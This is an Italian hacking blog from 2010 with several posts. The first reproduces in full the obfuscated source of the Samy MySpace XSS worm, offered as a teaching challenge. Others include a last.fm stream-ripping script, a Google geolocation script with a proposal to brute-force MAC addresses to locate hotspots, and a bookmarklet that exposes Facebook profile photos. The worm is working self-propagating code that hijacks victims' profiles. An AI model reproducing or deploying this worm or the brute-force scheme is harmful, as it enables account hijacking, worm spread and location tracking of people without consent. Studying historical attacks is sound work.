Hacks
Myspace old XSS virus
by Nick on ago.13, 2010, under Hacks, Sicurezza
A volte anche un vecchio worm js può risultare utile a livello didattico, anche per capire come sia difficile limitare i danni di eventuali falle XSS.
La sfida è semplice, ecco il codice:
<div id=mycode style="BACKGROUND: url('java<br /> script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td> <p>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Il codice permetteva di guadagnare velocemente amici su MySpace, tanto da meritarsi una pagina su wikipedia.
Se avete problemi nell’analisi, ecco il link di riferimento per l’analisi. Qui, invece, è disponibile la storia di questo bug.
last.fm – Scaricare gli stream
by Nick on mag.23, 2010, under Hacks, Musica, Tools
Per il download degli stream di last.fm esistono moltissime soluzioni.
Per Ubuntu, ad esempio, è molto usato il pacchetto thelastripper, scaricabile direttamente dai repository ufficiali.
Ultimamente però quasi tutte le soluzioni sembrano aver smesso di funzionare, e gli autori di questi software tardano ad aggiornare i propri programmi.
Un’ottima soluzione, per chi sa fare a meno di interfacce grafiche, è uno script scritto in Python da Phillip Berndt e disponibile per il download al sito ufficiale o tramite questo mirror.
Qui potete vedere il codice sorgente online.
Il funzionamento è estremamente semplice.
Ad esempio vi basterà scrivere
python lastfm-rip.py -u USERNAME -p “PASSWORD” -d “CARTELLADESTINAZIONE” -k lastfm://user/USERNAME/recommended/
per scaricare lo stream delle musiche consigliate.
Esistono anche altre utili opzioni:
Usage: lastfm-rip.py [options] <lastfm-url>
Options:
-h, –help show this help message and exit
-u USERNAME, –username=USERNAME
Last.FM username
-p PASSWORD, –password=PASSWORD
Last.FM password
-a ARTIST, –artist=ARTIST
Play similar artists
-d DIRECTORY, –directory=DIRECTORY
Store files to this directory
-f FILTER, –filter=FILTER
Apply argument as a regex to filter songs (artist -
title)
-r, –enqueue-rythmbox
Enqueue downloaded songs in Rythmbox (Requires dbus
and pygtk)
-n NUMBER, –fetch-n-songs=NUMBER
Try to fetch exactly n songs, then exit
-k, –keep-list Keep a persistent list of downloaded songs so this
will never download the same song twice
Per quanto riguarda l’url da cui ricevere lo stream, ecco un prospetto (tratto da questa pagina) di quelli supportati da last.fm:
lastfm://user/$user/personal
lastfm://user/$user/playlist
lastfm://user/$user/loved
lastfm://user/$username/neighbours
lastfm://user/$username/recommended/100lastfm://usertags/$user/$tag
lastfm://globaltags/$taglastfm://artist/$artist
lastfm://artist/$artist/similarartists
lastfm://artist/$artist/fanslastfm://group/$groupname
lastfm://play/tracks/$trackid,$trackid,$trackid
Non posso essere ritenuto responsabile per qualsiasi uso scorretto o illegale delle informazioni contenute in questa pagina.
Impostazioni Privacy Facebook
by Nick on mag.18, 2010, under Hacks, Sicurezza, Tools
Una volta registrati a Facebook la privacy dei nostri dati è messa a dura prova. Il rischio maggiore è sicuramente il temuto upgrade di sistema che, di tanto in tanto, viene attuato dai tecnici dell’azienda di Palo Alto. Molto spesso questo vuol dire che le impostazioni relative alla privacy che abbiamo configurato poco tempo fa non sono piu valide ed è tutto da risistemare il prima possibile.
Uno strumento appena nato ma molto efficace per controllare velocemente se le impostazioni del nostro profilo sono “buone” è ReclaimPrivacy.
Il funzionamento è molto semplice:
una volta visitato il sito http://www.reclaimprivacy.org/ è sufficiente aggiungere ai nostri segnalibri il link indicato dalla scritta Scan for Privacy.
A questo punto ci basterà accedere alla home page di facebook e quindi premere sul link per ricevere un report globale ed eventualmente alcuni suggerimenti efficaci su come migliorare determinate impostazioni.
Avendo a disposizione anche il codice sorgente di questo script possiamo verificarne facilmente la sua affidabilità: i dati che andrà a verificare non verranno comunicati a nessuno.
Google Wifi DB
by Nick on gen.31, 2010, under Hacks, Sicurezza
Try compiling this form with a wifi MAC Address and press Enter (iframe):
The source code is:
#!/usr/bin/python # Copyright (C) 2010 Kees Cook# License: GPLv3 # Find location of a MAC address via Google Location Services # http://code.google.com/p/gears/wiki/GeolocationAPI import cgi import sys, urllib2 import simplejson import pprint form = cgi.FieldStorage() if not form: print "Content-type: text/html" print "" print "" print "Enter MAC address to locate: " print 'source' print "" sys.exit(0) #try: if True: loc_req = { 'version': '1.1.0', 'request_address': True, 'address_language': 'en', 'wifi_towers': [] } bssid = form['mac'].value loc_req['wifi_towers'] += [{ 'mac_address': bssid.replace(':','-'), 'signal_strength': 1 } ] data = simplejson.JSONEncoder().encode(loc_req) output = urllib2.urlopen('https://www.google.com/loc/json', data).read() output = simplejson.loads(output) print "Content-type: text/plain" print "" pprint.pprint(output) if output['location']['accuracy'] >= 22000: print "# N.B. Accuracy of 22000 or higher seems to indicate unknown location..." else: print "Content-type: text/html" print "" print "" print "Sorry, something went wrong" print ""
Think at the possibility for somebody to bruteforce Google DB and retrieve these infos.
Starting from http://standards.ieee.org/regauth/oui/oui.txt, for example, i can try 16^6 mac addresses starting from 00-18-84 to get info about FON hotspots and achieve locations in a day or less.
I think this is not illegal as this is what my GPhone actually does. PS: I have not checked against any bruteforce prevention.
Thanks to Kees Cook.
Hack foto pubbliche nei profili Facebook
by Nick on gen.23, 2010, under Hacks
Ricopio questo interessantissimo codice che, inserito nel browser al posto della barra di indirizzo o salvato come segnalibro, ci permette di vedere le foto pubbliche dei profili di facebook.
javascript:(function(){function%20y(){if(x.readyState==4){q=x.responseText.substring(9);p=eval('('+q+')');document.getElementById('tab_canvas').innerHTML=p.payload.tab_content;}}x=window.XMLHttpRequest?new%20window.XMLHttpRequest:(window.ActiveXObject?new%20ActiveXObject("MSXML2.XMLHTTP"):null);x.onreadystatechange=y;x.open('POST','http://www.facebook.com/ajax/profile/tab.php',true);x.send('id='+ProfileURIController._profileId+'&v=photos&__a=1');})()
Come fare? Semplice:
- salviamo questo link – Cerca Foto Facebook – nei nostri segnalibri;
- visitiamo il profilo pubblico di una persona (ci troveremo alla pagina info);
- clicchiamo sul link e al posto del profilo ci appariranno album e foto pubblic he.
Tratto da: theharmonyguy.com


